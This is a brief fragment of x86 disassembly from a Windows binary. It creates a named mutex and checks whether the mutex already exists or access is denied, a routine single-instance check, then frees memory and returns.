call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x10]
lea eax, [esi + eax*2]
push eax
call fcn.0f5a6f40
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
je 0xf5a46be
call esi
cmp eax, 0xb7
je 0xf5a46be
xor esi, esi
jmp 0xf5a46c3
mov esi, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x10]
call fcn.0f5a7c10
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret